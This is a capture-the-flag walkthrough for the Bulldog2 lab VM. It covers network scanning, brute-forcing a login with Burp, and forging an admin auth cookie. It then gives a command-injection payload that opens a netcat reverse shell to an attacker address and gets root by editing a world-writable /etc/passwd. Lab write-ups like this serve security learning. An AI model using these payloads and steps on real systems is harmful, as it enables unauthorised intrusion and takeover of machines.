Skip to content

Latest commit

 

History

History
105 lines (48 loc) · 2.42 KB

2019-09-bulldog2.md

File metadata and controls

105 lines (48 loc) · 2.42 KB

Netdiscover

netdiscover

We use the tools called netdiscover scan hosts, we found the 192.168.0.105 is our target virtualbox host ip.


Namp

nmap

We found some services HTTP


Solution

index

We linked to this http://192.168.0.105/, found that register button is nothing uses. we only login to use.

So We found some interesting.

users

info

Because so many users, we decide choos one of them to test, so we use burp suite intrude to brute force.

intrude

We found this password for ipadolpho is 123456789, So let's login.

login

user

Logan successfully!!! but we had nothing found in this pages, we saw wether this cookie/storge is what.

cookie0

This is a key hint: auth_level : standard_user, may exists admin, So we inspect from man.js.

main_js

So we change standard_user to master_admin_user for us to be admin.

cookie

So we got admin successfully!!!

user_admin

cli

We could infer that we should user command line inject from "cli tools"command_inject

We choose $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.106 2333 >/tmp/f) at end, i tried bash and nc to reverse shell failed, so we tried mkfifo to reverse shell, Luckily, we did it.

shell

Now we use find to enum that could own the suid file.

find

Nothing found. but we found /etc/passwd anyone can edit it, so we add a root user to it.

passwd

su_hack1

Found that we nedds a terminal, so we use python code

python -c "import pty;pty.spawn('/bin/sh')"

hacker1

Found his passwd is in /etc/shadow, So we use perl generate /etc/passwd password.

generate

write

We login in root user successfully!!!

root

We can cd /root, the flag in it.

flag


That' all , Thanks for your watching